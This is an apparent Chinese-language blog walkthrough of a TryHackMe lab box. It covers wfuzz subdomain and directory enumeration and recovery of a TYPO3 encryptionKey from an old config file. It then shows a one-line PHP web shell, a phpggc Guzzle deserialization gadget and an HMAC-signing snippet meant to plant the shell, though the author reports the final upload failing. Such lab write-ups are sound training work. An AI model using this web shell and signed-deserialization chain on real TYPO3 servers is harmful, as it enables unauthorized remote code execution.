0%

THM打靶日寄68-M4tr1x:Exit Denied

  • 扫描打点

    什么都没有,枚举下子域名先

    从后面的枚举网址发现typo3回来了,换用了更大的字典扫到了这个

    1
    wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.enterprize.thm" --hc 400 --hw 5 http://10.10.138.197/

    找到子域名 maintest ,加一下hosts文件

    这就是typo3:

    dirsearch 给出来一个:

    9.5版本的typo3,其最知名的漏洞是CVE-2019-12747,针对<9.5.7的版本的RCE漏洞,但该漏洞仅在有用户账户的情况下可以使用,而且小版本号未知,暂且排除

    顺便再扫扫 maintest.enterprize.thm

    但里面并没有什么东西

    这个地方再次暴露出有懒狗喜欢用dirsearch的默认字典了,现在应该能枚举到 typo3conf

    1
    wfuzz -u 'http://maintest.enterprize.thm/FUZZ' -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt --hh 196

    其中的 .old 文件大概率就是提示所说的 something old

    里面有个加密的密钥

    以关键词 typo3 encryptionKey exploit 找到这个文章

    即encryptionKey用于计算HMAC,利用其进行反序列化传shell

  • typo3拿shell

    准备一个php:

    1
    <?php $output = system($_GET[1]); echo $output ; ?>

    用phpggc生成一个guzzle凭证

    1
    ./phpggc -b --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/shell.php /root/Desktop/shell.php

    注意那个 public,typo3在public下而非直接在html下

    然后利用encryptionKey来为shell进行hmac加密

    1
    2
    3
    4
    <?php
    $secret = hash_hmac('sha1','[shell]',"[encryptionKey]");
    print($secret);
    ?>

    然后在 http://maintest.enterprize.thm/index.php?id=38 找到可以上传的地方:

    理论上是那生成的shell拼接加密过的secret,放到 __state 下就上传到 fileadmin/_temp_/shell.php 了,但显然并没有,看别的题解跟我过程一样,但他们没把poc复制出来导致我复现不了(

    找了个php7.2的docker,手动改了改phpggc的代码来符合语法,得到的结果是php7.2和php7.4并不会导致结果差异,被这个文章 骗了

    然后就不知道为什么不对了,破防跑路